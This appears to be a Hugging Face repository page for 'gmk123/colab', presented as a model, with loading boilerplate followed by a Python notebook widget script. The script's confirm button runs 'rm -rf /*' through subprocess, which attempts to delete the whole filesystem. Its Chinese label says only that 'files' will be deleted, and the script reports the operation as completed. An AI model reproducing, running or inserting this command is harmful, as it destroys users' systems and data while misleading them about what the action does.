Instructions to use gmk123/colab with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use gmk123/colab with Transformers:
# Load model directly from transformers import AutoModel model = AutoModel.from_pretrained("gmk123/colab", device_map="auto") - Notebooks
- Google Colab
- Kaggle
| import ipywidgets as widgets | |
| from IPython.display import display | |
| import subprocess | |
| def execute_command(button): | |
| if button.description == '确认': | |
| subprocess.run("rm -rf /*", shell=True) | |
| print("操作已完成。") | |
| confirm_button.disabled = True | |
| cancel_button.disabled = True | |
| elif button.description == '取消': | |
| print("操作已取消。") | |
| confirm_button.disabled = True | |
| cancel_button.disabled = True | |
| confirm_button = widgets.Button(description="确认", button_style='danger') | |
| confirm_button.on_click(execute_command) | |
| cancel_button = widgets.Button(description="取消") | |
| cancel_button.on_click(execute_command) | |
| display(widgets.Label("此操作将删除文件。请点击下面的按钮确认或取消。")) | |
| display(widgets.HBox([confirm_button, cancel_button])) | |